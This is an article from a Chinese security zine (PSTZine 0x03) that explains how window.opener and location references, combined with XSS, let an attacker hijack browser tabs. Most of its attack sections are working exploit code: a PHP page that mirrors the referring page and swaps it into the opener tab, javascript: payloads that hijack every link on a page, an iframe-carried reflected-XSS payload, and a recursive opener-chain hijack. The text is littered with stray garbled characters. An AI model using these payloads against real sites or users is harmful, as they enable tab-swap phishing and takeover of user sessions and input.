[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==

7 P; ^, t1 V) G* l0 ?                       Issue 0x03, Phile #0x05 of 0x07
( C( m# k$ e+ j# L

|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
3 I7 d/ C; [9 \& J* x|=---------------------------------------------------------------------------=|
, i6 o" H! A; j7 R2 G% b|=---------------------------------------------------------------------------=|
|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
, S% q7 s! b$ @8 K3 L, J1 ]1 c|=---------------------------------------------------------------------------=|
, T3 w9 v, T# b# f9 M3 \

[目录]

# J) i% Q" U+ T( G1. 前言
2. 同源策略简叙
( v2 a+ j1 g) t! v8 S4 r3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
( B& I+ X8 B& }  e& r  6.1 正向跨窗口劫持
  6.2 反向跨窗口劫持
1 ]# f& t$ j- u) ~  6.3 极度危险的跨框架窗口引用劫持
# N) Q# Z) r, _4 G# b  6.4 极度危险的正反向跨窗口递归劫持
* H% `; g. a8 h8 U  6.5 完全控制浏览器
7. 后记
9 p: S0 c; L! p4 D* S' ~8. 参考
' ^, `& ?' E5 v( k5 r' O
+ ?5 ^, V0 L$ d! @/ O% T
6 u, Z6 Q, l; `一、前言
* j, E# K+ F' s" K
) a, _6 B" D0 B& @  Z    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
+ b1 V+ X: v& G3 `! G劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。

2 `+ T, P& v; V% O0 j- `/ L
二、同源策略简叙
' B) u) G* J7 P1 c
    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
+ S7 q7 c, @$ H* y+ w漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。

( V% b8 ^# O8 ~3 ?9 z) p1 m
" T5 b1 i: q7 F& x三、理解window对象的同源策略

    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
5 c! [; n- x* ~$ L9 P; i! p象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：

--code-------------------------------------------------------------------------
9 j  E: R: u  B3 L# q<script language="javascript">
2 _# D& d! p7 U6 O$ Qfor(p in window) document.write(p+"<br>");
</script>
1 O7 F7 x; R: ]9 z. ~; R-------------------------------------------------------------------------------
% ^0 v" t$ U# W( Q. G( a+ n
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
4 q7 z; I8 Q* p- p法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
- c+ ?! t6 S$ v9 g这些属性和方法就必须遵循同源策略。

    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
5 h* t' C) U; w) E值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
+ P! J# C' D1 M& n) R# [' z
( R" R2 I! N) t$ A) }" ~0 Z8 F--demo.html--------------------------------------------------------------------
$ U2 a( C' Y/ T% F+ \) Q0 _<script language="javascript">   
function allPrpos(obj) {      
  q0 T9 }' B: \* B: B- b0 b" d      var props = "<table><tr><td>名称</td><td>值</td>";           
      for(var p in obj){         
# [/ ?" V6 K" ?) v. B( ?            if(typeof(obj[p])=="function"){   
. A: G# D% o5 |                   obj[p]();   
             }else{                     
5 t: e# Z7 d: T2 P                  try   
                   {   
# ?  x/ Z$ L  P; Z' p                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
                   }   
& k2 @( f! L6 |3 L& e3 G                  catch (ex)   
1 Y* U- R/ Y. W% s0 |                   {   
                  
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
                   }   
                       
$ K  U' e, C5 Y+ ~             }   
8 v; ]' F9 W7 s& l       }   
   
6 I( H8 U) d5 V7 l       document.write(props+"</table>");   
}   
   
* h" u- h% M& I! V1 x& _2 C# K. Nfunction createWin() {
        newWin = window.open ("http://www.google.com");  
( n' A8 J  X' u5 x  y& {        setTimeout(function(){allPrpos(newWin)},2000);
- G" S+ H4 B" d0 Y+ s. w}
# e6 N$ E; l; r; X8 X
</script>

# @! m' P- U& w8 F<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
/ z7 S; P) T  l6 `" S

7 [; Z$ P4 h: I+ J% O& f四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
; ~* e3 s- m) ~3 Q- h0 l6 \但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
- m% \" ^: j1 ~# B* y5 W$ G  C* y) p6 L浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
* c+ P$ S5 ?- P. d行测试，会发现父窗口可以控制非同源子窗口location属性值。
- u8 }! p8 D- E, P6 n& G& I
--vul1.html--------------------------------------------------------------------
<script language="javascript">
+ L7 M* s7 q! D- L# a# S& q0 dfunction createWin() {  
        newWin = window.open ("http://www.google.com");  
, i7 |: H0 D! C1 s& h: c! S8 Y& U        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
% q% {5 c& L* R8 a0 t}
</script>

2 P! O) f6 Z3 }& o2 ^<button onclick='createWin()'>创建一个非同源子窗口测试</button>
3 E# d5 C  P5 H' b8 s9 }! P1 c-------------------------------------------------------------------------------

9 Y9 Z! d) e1 c: N  f
$ i: p( A$ W) w0 D4.2 子窗口引用父窗口的同源策略问题
: o' x5 `7 E, C. H4 ^, i+ L. ]) G6 t
  A& D8 K5 j6 i5 j0 v    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
, T: F7 t$ \8 A* X可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。

--code-------------------------------------------------------------------------

& q8 R2 S& x7 c$ C+ z& Cjavascript:window.opener.location = "http://www.80sec.com";void(0);
! P. H* p. \$ I4 r
-------------------------------------------------------------------------------

5 N- k' u2 H/ v/ t, l
) \: T+ H) |# D+ L/ ?) n# i五、利用窗口引用漏洞劫持浏览器
) R, X( n. e: J, L5 z3 t) k5 O4 }* y
    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

9 M/ z  Z  Q5 O3 s5 ^    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
/ J5 T2 i+ j, q5 G& e$ j生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
/ ?$ k  m5 x, ?6 H6 k2 P者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
, _( l( J" e  V后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
' n( ]/ _0 n- ?  |5 B会产生什么可怕的后果。
/ c0 X) d9 H: ?( ?
% u* i; P# i" n$ J) ^) b    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
) w* m$ m/ b2 u1 U0 G+ b们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
/ t8 x' |7 h7 W8 r: C4 k以做更多的事情，所有的一切仅仅是因为点击了一个链接。
# `2 E6 _" o( p- C: e
--hjk_ref.php------------------------------------------------------------------
<?php
+ C1 U7 S$ d$ i9 _. Y5 X) L  _6 ~if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
) A2 D" J5 a0 n4 U  R}
) M' {* t4 W" g2 A. ?$ dif(isset ($_GET['ref'])) {
, G* w5 I, q% k% Q# i( C' A. ]) A% wecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
</script>
-------------------------------------------------------------------------------
7 T3 h% C' @/ [! X- _
    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
. \4 L  Z% ?7 k

9 j+ w1 S8 }3 Z4 H0 h4 q2 M六、利用XSS漏洞劫持浏览器
- }7 m0 u3 R/ I
6 t1 `) S6 C/ m8 C1 |" ^; t    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
( I6 Z2 q3 o; `0 |5 E持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
- J* E( I9 k8 P8 |, ~XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
+ G- ^% u. ]: ~7 N4 x( u讨论跨站师的终极技巧：


% \2 c! n* x5 R+ q1 U  k3 u" U$ j6.1 正向跨窗口劫持

* _% b( t9 T: n6 t$ A* N    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
  N0 g3 A. x& @$ f, |0 D) \接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
框脚本。

--hijack_open.js---------------------------------------------------------------

7 b; }3 _, u* ejavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

-------------------------------------------------------------------------------
+ G, v8 |1 i  Q
6 d8 t, y3 J3 K, w; C
" B) r, T8 A( c6.2 反向跨窗口劫持
6 U- [/ A* V' r8 b! Q5 ]
    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
框脚本。

: o% ~$ c% j7 e7 M--hijack_opener.js-------------------------------------------------------------
% w+ R. h- L9 l, e9 r
0 L7 d! f0 ?  y$ Bjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
+ F6 [3 O4 D: x0 ?; d' n/ Z& C7 h
& |2 V9 n0 E6 ~4 C4 W-------------------------------------------------------------------------------

6 j) W3 u9 I0 U
6.3 极度危险的跨框架窗口引用劫持

3 }# a% P. }# f' b* R, H4 z, e    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
" W& @# `5 _* a8 j& z! {可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
9 I3 ~8 X! R/ ?% W- g, o3 U适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS，如下：

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>

" X5 s! d, y- I# d0 x* E    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。

--hijack_frame_opener.js-------------------------------------------------------
<script>
7 T1 e$ i! u3 O6 M4 z% Lwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>
4 N! r$ @1 g6 H) a. N5 [-------------------------------------------------------------------------------


' q5 k& R4 R  s) N2 M" g: X8 n- i- t6.4 极度危险的正反向跨窗口递归劫持

    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
1 W  n9 w8 p# h" K0 z5 T7 S/ ]异常处理规避之间跨域页面的访问异常，代码如下：

--code-------------------------------------------------------------------------

0 L8 E2 l% f% t$ B# Sjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

-------------------------------------------------------------------------------

' F. D0 M- h3 S5 Q' \* Y) h+ i    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
4 d/ K5 V6 Q+ f, s& ~( X; Y以劫持B域之前的A域页面，从而实现“隔空打击”。
4 @- h, S2 E1 ]9 V
, `3 ]# ~3 S+ Z0 }/ W    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。
- \" N7 `  s  k
    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。
$ N, R7 p4 x6 Y. _/ K
. o& _3 P  o% }' ?
6.5 完全控制浏览器
. P- S/ H% O) p& |" ~: _; f( R' m
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
9 M6 u, ~# k+ k0 C是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
) h7 ~/ t- [! P& d# H3 ?0 G2 k9 ?列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
& [/ p, v. E3 Q, E8 h师的终极目标 - 完全控制浏览器。
2 b9 b) T8 Y9 K1 d& _7 U
' r& V; D# p  S6 c
七、后记

, K, C9 W: P* h    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


2 Z9 r( B7 K! r3 _' _八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
) H0 v+ c. f0 J- Z6 \& }2. http://code.google.com/p/browser ... licy_for_DOM_access
( O: ?6 Q' t/ ^& B" n! q3. http://www.w3.org/TR/Window/
# N2 ?" U. ?& {. h5 V4. http://www.80sec.com/release/browser-hijacking.txt
& w3 B. l# x' E1 E* l5. http://www.80sec.com/all-browser-security-alert.html
2 q! M1 Z- B) }6. http://www.80sec.com/ms08-058-attacks-google.html

-EOF-